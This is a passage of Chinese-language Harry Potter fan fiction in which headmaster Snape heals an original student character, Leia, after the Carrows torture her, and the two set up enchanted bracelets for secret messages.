到时候,他将会亲手伪造一幅沉睡的画像,就像邓布利多复制的格兰芬多之剑那样,他会确保这幅赝品精美得以假乱真。 斯内普想起来,以前的这个时候,邓布利多一般已经升起壁炉。但一向习惯寒凉清冷的斯内普并不需要那种东西,他甚至连魔法烛火也都仅仅维持到勉强能看清文字的地步。 此时,他坐在那张过于高大的校长椅里,眼神空洞、嘴角生厌地翻阅着学生登记资料。 今天报道的学生至少少了三分一,各个年级都有。缺席的名单里包括哈利·波特、赫敏·格兰杰、罗恩·韦斯莱,他对此毫不惊讶。 而今年的新生,唔,32人,其中通过登记的麻瓜2个。7个学生没有来报道,5个因为没有通过登记被取消学籍,也就是说,还有2个新生选择不来报道。 显然,即使魔法部颁布强制入学的命令,还是有愚蠢的家庭决定把孩子藏起来。 只能,祝他们好运吧。斯内普心生苦闷地想着。 他的双手在办公桌上交叠,身体往后靠到椅背闭目冥思一阵。片刻,他慢慢地睁开依旧酸涩的眼睛,随手拿起接下来的日程安排,心不在焉地略过那些冷漠的文字。 门口的叩击声在这个时候突兀地响起。 “斯内普。”门外面是阿莱克托·卡罗的声音,直接引起斯内普腹腔里的恶心感,“你得看看这个。”她急躁地说道。 “进来。”斯内普冷冷地挥了挥手,门随即自己打开。 先映入眼帘的不是卡罗,而是一个被推进来的瘫软无力的学生。他面无表情地注视着那个学生直接被甩到他校长室冷硬粗糙的石地板上面,他顺着往下看,地板上溅落了几个刺眼的红点。 斯内普眯着眼扫视,很快,他的胸膛剧烈地颤动一下,平日如无光沉黯的眼睛里竟然燃起炽烈的火。 躺在那里的,是刚刚在礼堂长桌上对着他扯出短暂微笑的黑发少女。 她的衬衫沾满血迹,本应柔顺的长发纠缠成一缕缕,裸///露在外的手脚也满是伤痕。她奄奄一息地倒在他校长室的地板上,整个人都在瑟瑟发抖。 她的手臂无力地环抱在小腹前,身体渐渐蜷缩成一团。下颚因为咬紧的牙关而绷成一道倔强决然的线条,那刚刚消去疤痕的白皙脸上,他分明看见,又多几道崭新的划痕。 卡罗揉着肩膀跟在后面出现,脸上也挂着伤。 浓重的血腥味让斯内普黑袍里的手不由自主地攥紧,唯有指尖深深刺进掌心带来的痛感,能提醒他保持头脑清醒——也提醒他,克制住想立刻将她抱起的冲动。 他心里那种无声的火焰愈来愈烈,在他身上烘出一种凛然震怒的气场。他从这些能够吞噬一切的火里大步跨出,被点燃的黑袍在身后滚滚翻动,激昂得像是要以烈焰焚尽眼前的一切。 斯内普无法再看向她,只能生生盯住卡罗那张丑陋的脸,从喉咙深处滚出来的声音阴沉、沙哑,每个字都带着压迫:“这是,在,干什么?” “我怀疑这个混血格兰芬多是凤凰社的卧底。”卡罗的眼中闪着猎物般的兴奋光芒。 “你怀疑?”斯内普冷笑一声,从鼻腔中发出不屑的音调,“就她?我教了六年,我怎么没发现她是个凤凰社?” “就在今晚,我在排查一个格兰芬多的麻瓜新生时,她冲出来护住那个麻瓜并对我使用了魔咒。我立刻就发现,她就是上次战斗里伤我们好几个人的那个女孩。”卡罗指指自己的脸上,试图继续解释:“她的魔咒水平不像个学生,抵抗力也顽强得不可思议。我怎么折磨她,她都没有发出一点声音。” “是吗?有多不可思议?”斯内普的怒火更甚,“那我想问,你不会直接掀开她的大脑,看看她到底是不是凤凰社成员吗?!” “我和阿米库斯轮番对她使用钻心剜骨和摄神取念。”卡罗继续说道,“我们对她用了所有招数,竟然一点破绽也没有,这让我更加怀疑。保险起见,还是请你看看。” “你是想告诉我,你连一个学生都对付不了,你的摄神取念技术这么低劣?”斯内普的声音陡然拔高。 卡罗沉默了,面露难色。 “你在浪费我的时间,卡罗。”斯内普用魔杖指向大门,冰冷地说道:“我会处理。你去干你该干的事。” 卡罗好像还有话要说,但是斯内普一双不怒自威的锐利黑眸硬生生将她的话逼回去。 “别再让我重复一遍。” “好吧。”卡罗不情愿地转身退出去,身后响起斯内普用魔杖关门的闷声。 校长室再次安静下来。斯内普绷着脸,整个人默然钝痛得像正在经历尖刀缓慢抵进心脏的过程。 他垂着头给大门上了锁咒,又加上两重闭耳塞听,才朝地上的人走去。 她显然已经没有任何力气了。 就在他皱着眉俯下身,轻轻伸手环过她肩膀抱起的片刻,那一直紧盯着他的绿眸就缓缓地闭上。 48.分甘 魔法城堡,曾经是多少孩子心中美好的梦? 他们,为什么要那样残忍地将这里变成一片湮灭所有幻想的人间炼狱? 为什么要做这种残酷的事? 蕾雅在这仿佛能摧毁所有灵魂的地狱之底,愤怒地想到。 此时,她死死瞪着眼前的一切。内心深处正燃烧着一种无法停息的烈焰,是要将面前这两个穿着黑色斗篷的食死徒统统焚烧。她要让他们的躯体受到炙烤,要生生将他们的皮肉剥离开来,最后连灰烬都不剩。 站在她前方的是一名格兰芬多新生,一个麻瓜出生的孩子,是跟她一样在晚饭以后被卡罗兄妹揪出来的。而她身后,还站着格兰芬多所有不是纯血统的学生。他们在尖叫,在惊恐,在连连后退。显然,他们并没有直面过食死徒,他们,还是学生。 而只有她,决然的绿眸里倒映出这个十一岁孩子手掌上的鲜红,耳畔里听见了这个孩子撕心裂肺的哭泣声。 只有她,凛然地举起魔杖。她的心里想着,如果是哈利、罗恩、赫敏、或者金妮和纳威在这里,他们也一定会做同样的事。只可惜,他们都不在。 这里只有她。 “放开她。”蕾雅冷冽地说道,魔杖尖端已经擦出一点鲜艳的火花。 “你说什么?”阿莱克托·卡罗难以置信般抬起头。 “我说,放开她!”下一瞬间,从蕾雅手中的魔杖里直接迸裂出一道红光,直直将卡罗撞飞在教室的墙上,发出轰然巨响。 阿米库斯·卡罗怒吼着从房间角落冲了过来:“你在做什么?!” 蕾雅毫无犹豫,快步将那名呆愣中的新生拉到自己身后,急促地对她和其他学生说道:“离开这里,快!” 她的魔杖正指向阿米库斯·卡罗,但阿莱克托已然从另一侧苏醒,迅速对她使出一发毫不留情的攻击。 还没等其他的格兰芬多学生们走尽,两道束缚咒的白光已经将蕾雅生生地压在了地面上。 “哦我认得你。”阿莱克托·卡罗那张狰狞粗鄙的脸上写满了恶毒,她用魔杖抵着蕾雅的额头,恶狠狠地说道:“我保证,你会为今晚的行为付出代价。” 蕾雅抬头,淡然地扯出一抹哂笑,身上的决心与气势一点却都不比食死徒少:“无所谓,你们最终也会为你们的行为付出代价的。” 他们想她死。当然,反之亦然。 这种极端的恨意让她成功地在无尽钻心剜骨和摄神取念的折磨里,始始终终保持了自己记忆的完整。 而那一晚最后的记忆,是朝她递过来的,他的双手。 …… 斯内普此刻像是在经历一场静默悲怆的灾难,整个人因痛苦而紧绷得如同石像般。 关上校长室的门的须臾,他几乎没有任何迟疑,迅速抱起她走进一旁的卧室,小心翼翼地放在床上。他先是一一检查过她的状况——脸上的划痕,手臂上是一道道魔杖尖端刻出来的深红,手指变得青紫斑驳,膝盖上方布满了凌乱的抓痕,满是淤青的腿上,割伤还在渗出血液,也许看不见的地方,还有。 而且,钻心剜骨咒的效力还没退去,她仍然挣扎在余痛之中。她的眉眼拧到一处,身体被汗水浸透,仍在不受控制地颤抖。她好像在呢喃着什么话,但是他听不清楚,只看见一双手因痛苦而抓挠着身边的一切。 他忽而明白过来,原来那些抓痕、还有手指上的淤青,都是她自己为了维持大脑封闭术所留下的。 斯内普的心绞痛了起来,他愈来愈难受,窒息般的自责压得他喘不过气。他半跪在床边,紧紧握住她乱抓的手,将它们牢牢攥在自己的掌心。她的指甲剜进他指缝间的肉,却让他感觉自己可以分担她身上这种无端的折磨。 良久,待到阵痛终于消退,斯内普才慢慢放开她,开始为她处理伤口。 清洁咒,治疗咒,补血剂,白鲜药水。 他踌躇地探出手,轻轻将黏在脸颊伤口上的几缕发丝拨开。而后用指腹蘸上白鲜药水,一点点掠过脸上那几道红痕,他细致地施展着治疗咒,确保这之后不会有任何的痕迹。他的触碰充满着极度的温柔,动作谨慎得甚至让自己的手腕僵硬。 有一些鲜红很快就因为药水的作用消失,但还有几处已经深得无法完全愈合,注定会留下疤痕,而且,她身上还有那么多的淤伤、骨头里的伤……! 斯内普的校长室里并没有能治疗骨伤的药剂,他知道必须马上将她送到庞弗雷夫人那里。可是他不能做到,因为他的身后,是两个食死徒时刻紧紧盯住的眼睛。 这种无力感是那么的强烈。 ——邓布利多说得轻巧,要他保护学校里的学生。 他早就知道老巫师的期盼有多么荒谬,他从不认为自己能从黑魔王手中护住所有人。所以,他真的只奢望自己至少能护住小部分人,比如说,波特和她。 但他根本没有预想过,卡罗兄妹竟会在开学第一天就如此残忍,看来是黑魔王另外对他们下了许可。 现在意识到这一切已经太晚,因为他故作的冷漠和一时的天真,她在开学第一天就受了伤。 他不该让她回来的。他明明答应过她的父亲。 斯内普的喉咙一阵阵发紧,心脏仿佛被破成无数碎片。在混沌的深处,有一种凄然的绝望感骤然涌现,就像洪水,潮汐,席卷一切的海啸,将他的躯壳从里到外硬生生地撕开,揪出他最卑微的灵魂,狠狠地甩在高台上给予审判。 他不该让她回来的。他宁愿受此般苦难的是自己。 斯内普一直陪着她,不时用指背拂去她额上的汗珠。等到她的呼吸声变得逐渐平稳,最难熬的阶段已经过去,他才允许自己松一口气。 就在大脑宛如被碾碎的煎熬中,蕾雅感觉到一种微暖的触感轻轻掠过她的脸颊。那微妙的温暖确实在她的剧痛中带来了些许安慰,她下意识地朝着那方向凑了凑,但这种感觉却忽而消失。 “唔……”她迷糊地呢喃着,“别……” “醒了?”耳边传来的是斯内普低沉的嗓音,竟然有一丝稍纵即逝的急切。 “……别拿开。”她哀求般重复一遍:“……别拿开,求你。” 斯内普皱着眉,默默观察着她,看不清她是在梦呓还是因痛苦而胡言乱语。他犹豫了一下,最终还是将心底那抹复杂的情绪压抑住,没有再触碰她,只是压着声音唤她:“莱恩哈特。” 蕾雅不满地哼了一声,逐渐从昏沉中清醒过来。她先闻到了一股魔药的清苦气味,紧接着是清晰的疼痛感,它们正从身体的每一个角落传来,不过已经比之前减轻许多。嘴里弥漫着一种铁锈味的苦涩,她很快意识到是补血剂的味道。有人已经替她治疗过,并喂下了药剂。 她皱着鼻子,艰难地掀开沉重的眼皮,映入眼帘的一顶暗红色床幔,而扭过头,床边坐着一个好像同样受了重伤般扭曲着脸的斯内普。 “您……”她费力张了张嘴,疼得龇牙咧嘴了一会儿,断断续续地问:“也受伤了?” “没有。”他答道,目光不动声色地从她脸上移开。 “那……”你为什么看起来像受伤了一样痛苦?蕾雅晃晃沉重的脑袋,没有问出口。 她重新打量那顶床幔以及周围的陌生一切。这是一间卧室,装饰华丽,布置隆重,缎面墙上是大幅的寓言壁画,就像是魔法史课本里会出现的富有玄幻色彩的插图。 同样暗红色的地板和沙发上都镶满金丝的刺绣花纹,而壁炉里燃着微火将这一切都镀上一层辉煌明亮的暖光。她不禁觉得这里有点像是格兰芬多的装潢风格,但比公共休息室里的还要繁复高贵不少。 旁边的床头柜上摆着不同的药剂,被火光映出得看不清楚本来的颜色。 “这是哪?”蕾雅困惑地看向斯内普,他手里也正握着一瓶治疗药水。 “校长卧室。”他更加简短冷漠地回答,仿佛不愿意跟她说话:“把右手伸出来。” “……那不是。”你的卧室吗?蕾雅木然地将右手递过去。 斯内普拉过她的手臂,往还没来得及治疗的伤口上涂抹白鲜药水。而她难堪地侧过脸,鼻尖不由自主地嗅到了枕头上的淡淡苦涩气味,顷刻,本来就因为药水而发热的皮肤又烫了几分。 他怎么会……? “是您,治了我的伤吗?”她嘟哝着,后知后觉地问道。 “你觉得这里还有别人吗?”斯内普的脸逐渐变得阴沉,就像是暴风雨前夕那种。 两个人沉默着,斯内普突然拖着句子尾音那样开口道:“我是不是警告过你?” 蕾雅重新别过脸去,看到斯内普的的胸膛正因过重呼吸而起伏着,才察觉出来他原来一直在生气。 蕾雅都不用去过多猜测,就知道原因肯定是自己。她想用眼神暗示他不要继续说了,却因药水刺激的疼痛而龇牙,最后变成了一种嘶嘶声:“呃……我知道了!您别说了……” 斯内普扣住她因为疼痛而无意识缩回的手臂,咬牙质问道:“你知道?那为什么开学第一天,你就去挑战他们?” “可是……那是个十一岁的孩子!她那么小,刚刚来到霍格沃茨,她的眼里只有对魔法世界的憧憬……” “你必须明白,”斯内普的黑眸背对着光,沉重得如同墨水般深邃,他的声音冷得近乎冰点:“我们无法拯救所有人。你需要把这一点弄清楚,收起你那些不必要的感情。否则,我只能把你送回去。” 蕾雅愣了愣,很快轻声反问:“可您是校长,难道您不能阻止他们这么对待学生吗?” “你太天真了。他们是黑魔王派来监视我的,不是我的随从。”虽然斯内普的语调平淡到不近人情,但蕾雅还是分明看见他微微颤动的肩线,是一种徒然无奈的表现。 黑魔王,伏地魔。蕾雅的脑海里浮现出那个丑陋可恨的蛇怪。这个怪物不仅实力强大,还拥有一颗狡诈而精明的头脑。哪怕斯内普亲手杀了邓布利多,伏地魔依然没有对他完全信任。 可是,她无法理解,为什么这个妖怪一定要将这里变成人间炼狱?他到底为了什么? 蕾雅吃痛地注视着斯内普,终于鼓起勇气开了口:“那么,我想我并不后悔做这件事。因为我觉得,幸好是我受伤了。” “你在说什么?”斯内普被她的话刺激到,猛地抬起头来,阴森可怖的气场让她缩了缩脖子。 但蕾雅没有想过退缩。她用被斯内普握住的右手反握住他的手臂,用力捏着他的手腕,坚定地说道:“我的意思是,幸好是我受伤。我还有您在,如果换做别人,他们可能根本得不到治疗的机会。如果真是那样,我宁愿是我。这是最好的办法。” “最好的办法?!”斯内普低吼出声,眼神锋利如刀般地瞪着她,薄唇也抿成令她发怵的线条。他凛冽地低哼一声,故意般将冰凉的药水按在她手臂上那道最深的伤口上。 “嘶……”蕾雅忍不住疼得哼出声,眼泪几乎夺眶而出。 “原来你还知道疼?!”斯内普生硬地瞥她一眼,这才稍微减轻手上的动作:“我早就告诉过你,在极度脆弱的情况下,大脑封闭术会被破开。” “我记得……”蕾雅忍着疼痛回应。 “你根本没明白我的意思。你该庆幸,今天那两个人远不如我!”斯内普依然用凌厉的眼神盯着她,话语从喉咙深处一字一句地滚出:“否则,你,我,你的父亲,波特,还有邓布利多,这场战争的所有计划和希望,都会在一夜之间彻底消失!” 蕾雅彻底被斯内普的话震慑住,顿时恍然大悟。 这是战争,只有勇气和鲁莽远远不够。 她突然理解邓布利多为何要如此深谋远虑步步为营,也突然理解了斯内普为何要如此接近崩溃般压抑自己的情感。 原来是只有这样,只有这样,才会有一点可能性来赢得这场战争。 “我明白了……对不起,我以后不会了。”蕾雅低声呢喃道,话语里带着深深的悔意。 今日之后,那些天真的想法、侥幸的希望都不会存在了。她会更加小心,她会跟他一样。 蕾雅垂下头,自言自语般念了一句:“不过,我很庆幸,至少您是在我们这边的。” 斯内普闻言顿了顿,眼中冷硬的神色稍稍放松一些。 尽管他没有打算回应她,但他心里明白这句话是对的。他当然知道食死徒里有他实力的人——几乎不存在。所以当他忠于邓布利多的那一刻,便意味着他们面对的强大敌人只剩下一个,也意味着那稀薄的胜算高了一丝。 过了一阵,斯内普依然沉默着,放下了她的手臂。他快速扫视着确认伤口的愈合情况,手上换了一瓶深蓝色的药水。蕾雅盯着他手中的药水,内心压抑着思绪,忍不住开口道:“那我想问……” “说。”斯内普把目光移向她的小腿,旋开手中的药瓶,指腹轻缓地擦过她的淤伤。 “如果您在那里,您会阻止他们吗?”她挤着眼忍住他带来的痒意,试探性问到。 “我只能说我会尽力。”斯内普的声音平静,但带着无法回避的现实感,“而且我不能每次都出现。” “至少,至少减少一部分,比如说低年级学生受到的伤害!”蕾雅担忧的说道。她慢慢试着转动被他治愈的手臂,发现几乎不疼以后,便以左手支撑自己坐起身来,托着下颚看着斯内普:“我想我需要一个能随时联系到您的东西。今晚我本想用守护神通知您,但实在没找到机会。” 斯内普的眼神没有任何波动,示意她继续:“如果你有什么提议,直接说。” “五年级的时候,当时邓布利多军有用一种假金币来互相联系,是赫敏用变形咒做的。她说跟黑魔标记同一个道理,只要触碰一个金币,所有的金币都会跟着一起显示同样的消息,并且会发热。” “黑魔标记,变形咒,金币。”斯内普的黑眸里闪烁出一丝兴趣,略微思索 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蕾雅歪着脑袋,若有所思地盯着斯内普,脑海中飞快地闪过耳环、项链、戒指的选项——不过很快就否定了这些。她的视线最终落在了斯内普的袖口上。 印象中,除了制作魔药的时候,斯内普不论什么时候都会把袖口扣得紧紧的,特别是左手,因为那上面有黑魔标记。 “有想法?”斯内普注意到她的神色,挑起眉毛问到。 “手环。”她伸出手指了指他的袖口,有些打趣般地轻声说道:“您就是戴着,也不会有人发现吧。比如说,像银镯的那种,还可以塞下很长的句子。” 斯内普微眯着眼,扫了一眼自己的衣袖,随即面无表情地扬起下颚看她:“可以。那么,你必须学会不用魔杖也能联系我。” “不用魔杖?”蕾雅讶异地问,“不用魔杖也能用魔法吗?” “是,无杖无声魔法。”斯内普话音刚落就起身走向卧室的门口。 蕾雅看他打开门走出去,随即听见外面传来一连串叮叮当当的金属碰撞声。没过多久,她更疑惑地盯着他掂着两个银饰品回来,将它们放在她身侧的床边。 是两只过于复古、略显夸张的银镯,也许已经有一百年那么久。镯身被氧化的黑色裹住,只隐约看得出似乎雕刻着复杂的藤蔓花纹。 “呃。”蕾雅微微抬头,朝斯内普尴尬地笑了笑。 “这是邓布利多的藏品。”斯内普耸了耸肩,摊开双手,露出一副“别那样看我的”表情。 “我可以改一下形状吗?”她试探着问道,“虽然,它们看起来挺贵的……” “随便你。”斯内普冷笑一声,把放在床头柜上的魔杖递给她,“我没打算告诉他。” “谢谢。”蕾雅捻着魔杖轻轻敲了敲两个镯子,将它们变成一大一小的简单银手环。她将目光移向斯内普,仿佛在征求意见,但斯内普没有搭理她,低着头用魔杖对着手环施展了一道她不认识的咒语,然后将其中一个手环递给她。 蕾雅把手环戴在左手上,用魔杖调整好尺寸。光滑的银色手环在她白皙的手腕上缠绕,映衬得她的手腕更加纤细。斯内普拎着另外一个思考数秒,拉高了右手的袖口,把手环套进去。 “很适合您。”蕾雅笑着说。 “闭嘴。”斯内普迅速瞪她一眼,“试试。” “试试……什么?”蕾雅还没明白他的意思,手腕上忽然传来一阵微微的热感。低头一看,一行小字在手环上浮现出来。 「试试怎么无声无杖传话」 “呃……”蕾雅撇了撇嘴,求救般朝斯内普递过眼神。 斯内普没有说话,但她的手腕再度发热,传来了新的讯息: 「看向手环,集中注意力」 「默念咒语“Verbatim”,想着传信内容」(1) 蕾雅皱着眉照做。她吸了一口气,脑海里浮现出咒语和文字: 「先生」 旋即,手腕上的手环再次微微发热: 「不错,继续试试」 蕾雅心中一喜,抬眼对斯内普牵出一个微笑。可对方的神情依旧,从他的冷脸上看不到一点情绪波动。 「今天谢谢您」 「别再做蠢事 没事不要联系我」 「我知道的」 虽然只是些简单的话语。但这一刻,蕾雅真的开始感到她和斯内普是在并肩作战。 斯内普清了清嗓子,结束这场无声的文字游戏:“可以了,现在,你该去庞弗雷夫人那里报到,跟她说你可能有骨伤,让她给你检查。” “好的。”她顺从地点点头,忽然想到什么:“校长,我能多拿点药走吗?可能,还有受伤的人。” 斯内普从床头柜里翻出一瓶新的白鲜药水递给她,“我这里也没多少,这个你随身带着。明天我会把坩埚台搬过来,重新熬制。” 蕾雅握紧手中的药水,感激地点头,缓慢挪向床边。然而,当她的脚一落地,一阵猛烈的钝痛如触电般传到全身,疼得她的脸都失去了血色:“呃……脚踝。” “很疼?”斯内普低沉的回应里,带着一点他自己都没察觉到的关心。 他又皱起眉,本能反应般伸出手去抚上她的脚踝,随即摸到烫得发热的肿胀,肯定是她摔倒在校长室地板上的时候崴的。 “有点。”蕾雅垂眸望着他俯在身前的动作,红着脸,小小地喘一口气。 斯内普没有再说话,停在那里一刻,犹犹豫豫地板着脸站起身,动作迟疑但却稳妥地将一只手臂环过蕾雅的后背,勉强将她拎了起来。 “到外面的沙发上去等,我去叫米勒娃过来。”他说道,手上稍稍紧了些。 “好……。”蕾雅吃痛地咬着牙,双手无措地攥住他的衣袍,顺着斯内普的动作走出了他的卧室。 当然,令她困扰的可不只是疼痛。 此时她的脸就贴在他的胸口上面,能清楚感觉到他温热的体温和有力的心跳。等她回过神时,淡淡的绯红已经从她的脸颊一路铺开到耳根。 有那么一瞬,她真的想直接伸出手去抱住他,把昏重的头埋在他的衣服里。 等斯内普离开后,蕾雅疲累不堪地靠在沙发扶手上,脑袋后仰着搁在椅背等麦格教授的到来。无所事事的时间里,她将他给她的药水放在手心里随意转动着,任由自己浸在纷乱缥缈的思绪之海中。 她才慢慢想起来,是斯内普一个人把她身上大部分的伤都治好的。刚才那种他关心她的暖意,就愈像是从山顶笔直垂落的河流,无法遏制地沿着地心引力流淌开。 唔,等等,我是怎么到他床上的?刚刚我脸上的温暖感又是什么? 啊梅林的蝴蝶结。我真的一点都不后悔救下那个新生了。 (1)"Verbatim”,拉丁语意为“逐字传递”。 49.钻心剜骨 那之后,蕾雅被脸色难看到极点的麦格教授搀扶着搬到医疗翼里,庞弗雷夫人早就在那里等着这个学生。整个漫长的检查和治疗过程里,麦格教授和庞弗雷夫人一边小心处理她的伤口,一边对着卡罗兄妹和斯内普咒骂不已。 “呃……其实斯内普校长替我做了简单治疗的。”她用细微的声音解释着。 “我看得出来,你的脸他治得很仔细。”庞弗雷夫人叹了一口气,手指轻轻抚过少女此时有些苍白的脸颊。 “可是!”麦格教授愤愤地把话接过来,怒气越来越多地责骂道:“他找到我带你来医疗翼的这点良心,并不能掩盖其他那些事情!” 很显然,麦格教授和庞弗雷夫人已经一口咬定斯内普跟卡罗兄妹没什么区别,更没打算原谅斯内普“杀了”邓布利多这回事。 蕾雅只能在心里暗暗叹一口气。她知道既然不能告诉她们邓布利多正安然无恙地躺在自己家的客房里的事,那还是不要为斯内普进行任何的争辩得好。 拿定主意后,她挂上一抹安然的微笑,堪堪听完了她们各种愤懑不已咬牙切齿的长难句数落。不过,她的心里其实已经按捺不住期待着真相大白的那一天。她丝毫不怀疑,这两位女士一定也会亲手抓着斯内普和邓布利多,一人一句地骂个不停。 要真有那天,她可真想待在旁边坐着好好见证。 这么一想,她的心情平复很多,边听着漫长的话边将眼睛转了一圈,发现医疗翼里除了她还躺着好几个除了斯莱特林以外的好几个学生,各种伤口都有,严重程度不一。 看来庞弗雷夫人会迎来史上最忙碌的一年了。 最后,斯内普的判断是对的。骨头里的伤着着实实让她在医疗翼里躺了两天。 一直到第三天的中午,蕾雅才被允许离开医疗翼。而她没想到,回到格兰芬多公共休息室里迎接她的第一幕,竟是热烈的欢呼。 “我们又有了新的英雄!”格兰芬多的狮子们把一脸不知所措的黑发少女围在休息室中间。 “你们不知道她有多厉害!”西莫兴奋地说着那天晚上的情景,“她一出魔杖,就把那个卡罗打得飞出去撞墙了。认识她六年了,我还真没见过她这么强。” “蕾雅学姐那晚把他们都气坏了!”一个低年级的学生接话道,“后来他们就再也没来找我们。” “可以啊,我怎么从来不知道你出手这么狠?”金妮凑近过来,搂过她的肩膀,洋溢着赞赏的微笑,“但我觉得你做得很好。这下,他们都知道格兰芬多学生不好惹了。” “只怕……”蕾雅慌忙摆手摇着脑袋,“只怕这之后更针对我们了。” “怕什么,他们总不敢真把我们怎么样。”休息室另一头的纳威站了起来,“这两天的课可真的让人难受。”蕾雅看见了他的脸上挂着一道赫然的割伤。 “课上?”蕾雅指了指脸侧,疑惑地问道:“纳威,你的脸怎么回事?” 一时间,公共休息室安静了一瞬。 “他们让我们对别的学生用钻心咒。”西莫低声说道,“纳威第一个不肯,就被他们打了。” “钻心咒?!”蕾雅错愕到愣住,像是整个人突然被丢进太平洋里那样。她哪里会想过卡罗兄妹竟真的敢把“黑魔法防御课”变成“黑魔法课”。 顷刻,好不容易被斯内普说服的怒火又蹭地一下蹿起。 明明他们都只是学生啊,食死徒到底想把这里变成什么地方啊?食死徒预备役学校吗? 虽然此刻她知道自己答应过斯内普,不会再莽然挑战他们,但她坚信着总有一天,她,或者斯内普,或者面前的这些学生,一定会让卡罗兄妹为他们做过的事作出补偿的。 蕾雅抽回思绪,叹着气走到纳威的身边坐下,拿出斯内普给她的白鲜药水,开始为他治疗伤口。 “还有谁受伤了吗?”蕾雅环视着,朝休息室里其他的人问道。 有几个小狮子排着队走到了她的另一侧。蕾雅一边耐心给他们治疗。等都治得差不多了,她思虑片刻,决定还是必须将斯内普跟她说的话传达出去。 于是,她稍显严肃地拔高些音量说道:“以后谁受伤了,一定要来找我,我不认为莽撞和挂彩是勇敢的标志。我知道大家都觉得很生气,我当然也生气得不行。你们也看到我生气的后果了,两天的病床是真的难熬。也是这两天,我才意识到这会是很长很长的战斗,为了不要再减员和折损我们的战斗力。我们今后的反抗也要聪明一点,好吗?” 整个休息室再次都变得鸦雀无声,所有人都若有所思看着她,不时有人点头同意。 蕾雅被这些目光注视得很不自在,赶忙憋红着脸垂下脑袋。梅林知道她从来没想过自己还会成为这样的角色。 一侧的纳威一直端详着蕾雅,忽然觉得她好像和以往不同了。蕾雅这才扭过头对上纳威的视线,突然为自己刚才的话感到难过起来。她其实完全理解纳威的做法,也完全喜欢纳威的做法。 可这仅是开学第三天,这种日子会持续到什么时候?他们还能承受多少的伤? 很快,金妮和纳威也了然地点点头,并提到晚上要一起商量邓布利多军的事情。 蕾雅答应过他们,之后苦闷地回到寝室里。 寝室里谁也不在,蕾雅独自将在床边上孤单伫立了两天的行李箱一样样整理过去。随后,她抱着泰迪熊坐在书桌前,鼓着嘴翻看麦格教授留给她的课表,上面用加粗的字体写着“高等巫师考试,NEWTs”。 她突然想起,这一年是她在霍格沃茨的最后一年。也就是说,如果按照以前的时间表,学年末他们就要面临高等级巫师考试,所以现在就要决定未来的职业方向以及相应选修的课程。 可在这种情况下,真的还能有人静下心来思考未来吗?他们,真的还有未来可言吗? 本来就烦闷的心情如迅速增长的雨云一样厚重起来。她托着腮思虑一会儿。 要不,找个机会问问他? 她这么想着,随手先将表格按照O.W.L的选课写好。刚搁下笔,手腕上忽而传来微弱的发热感,她一垂眸: 「到校长室口令是狼毒药剂」 他怎么知道我离开医疗翼了? 蕾雅呆呆地回了个“好的”,连忙起身披上刚脱下的外袍,抱着那一盒本来就要给斯内普的茶包和材料,钻出格兰芬多公共休息室。 霍格沃茨原来已是入秋,窗外的山脉显现出一种浓墨淡彩的褐青。沉暗阴郁的禁林偶尔露出几笔暗红的或是橘黄的点缀。太阳的角度变得更加低垂,落在灰朴无光石地板上的影子被逐渐拉得斜长。而本来灰蒙蒙的石墙和那些校长们的画像,也都被秋阳渲染成略带几分凉意的浅金色。 印象中,确实很少见到斯内普在这样子的光芒里,更少能见到斯内普站在大束光斑底下熬魔药。所以推开门的须臾,蕾雅悄悄在原地看了一会儿被浅淡斜阳和渺茫雾气勾勒起来的,沉醉在工作的黑色身影。 蕾雅的目光追随着他游走在材料间的动作,微曲的头发自然垂下,额上的浓眉微蹙,指间一丝不苟地将那些捣碎的曼德拉草、白鲜、补血草分别加入三个坩埚里。桌子一侧,三个木盒子整齐并排放在那里,其中一个已经被他细致地装满药剂。 “好些了?”斯内普闷声打破室内的静谧。 蕾雅从门口踱到他身边,偏过头轻声道:“嗯。给您带了点茶和材料。” 斯内普面无表情地斜了一眼,确认过那张小脸又重新变得精神以后,回过头低哼一声:“放我桌上,然后过来帮忙。” “好。”蕾雅从他身旁走过去,把东西郑重摆在办公桌的一角,就转身系上围裙,挽着袖子走到他的身边。 不知道是不是蕾雅的错觉,她总觉得斯内普在看到她神色安好以后,脸上一贯的冷峻缓和了不少。 还没等蕾雅开口问他,斯内普的嘴角已经扯出了一个讥嘲的角度,开口道:“怎么样,被簇拥着当英雄的感觉?” 蕾雅愣了下,拿起一把还没处理的药草按在砧板上,嘟哝着:“您怎么知道……糟透了,从来没觉得自己该是这个角色。” 斯内普低低地笑了一声,黑眸里充满洞察一切的深不可测:“第一个挑战卡罗兄妹的,自然会被视为英雄,就像那个‘救世主’一样。”他说着熄灭了面前的坩埚的火,用魔杖指挥着药液稳妥地倒入药瓶中,又说:“我劝你,早点适应这个身份。” “什么意思?”蕾雅想到,他前两天不是让她不要故意惹事吗? “这三箱药,我需要你送到除了斯莱特林的三个学院去。”他淡淡地指了指那三个木盒子,吩咐道:“让他们备在公共休息室里。” “啊?”蕾雅瞪大了眼睛,心里轻微一紧,随即掀起难以掩饰的震撼感。 她完全没有想过,斯内普所说的“重新熬制”,竟然是意味着准备几乎整个霍格沃茨的药剂。 就在这一刻,蕾雅内心那种对斯内普的敬仰愈加不可遏制。纯粹的爱意、对卓越实力的敬佩、还有对他所做一切的感激,这些复杂的感情悉数交织成盘踞胸口的一团。让她迫不及待想告诉这个世界他到底有多好,想告诉这个世界—— 他就是在整个黑暗时期里坚定不移、默默地守护在他们背后的人。 她眼眸因动容而闪烁着:“太谢谢您了,校长。” “嗯。”斯内普漫不经心地应着,“趁现在,你要想好怎么解释这些药的来源。” “这倒是不难。对外我可以说是邓布利多军准备的。”蕾雅反应迅速地答道,“不过……我得向金妮和纳威解释清楚。” 斯内普很快接过了话:“就跟他们说是邓布利多特意吩咐家养小精灵备下的。” 蕾雅把手中碾出汁的材料递给他,轻快地点了点头:“好,谢谢您。” 她并不知道,如果没有她,斯内普根本不会考虑到还能做到这些事。 斯内普用眼角懒懒地扫视着她满是欣喜的绿眸,沉寂的心中忽而也被传染一样暖了起来。他别扭地接过她递过来的材料,重新投入到坩埚前。 还有件事他必须承认的,就是他不曾想到,熬制这样简单的药剂,重复着这样枯燥的工作,竟然让自己在这种极度压抑的时期里找到了一种踏实。 或许,他没有办法在光明中坦诚自己,但他不介意让她代替自己去完成这些事。这让他在心底某个角落,对有这样一个人存在身边而感到一丝安慰。 ——“那我相信在这件事上,她同样可以帮你。” 原来如此啊,你这个老头子。 “校长,”蕾雅换过了手中的材料,踌躇着开口:“黑魔法防御课的事您听说了吗?” “怎么?”斯内普似乎并不知情。 他注意到她刚才眼中的璀璨光芒倏地消失不见了。 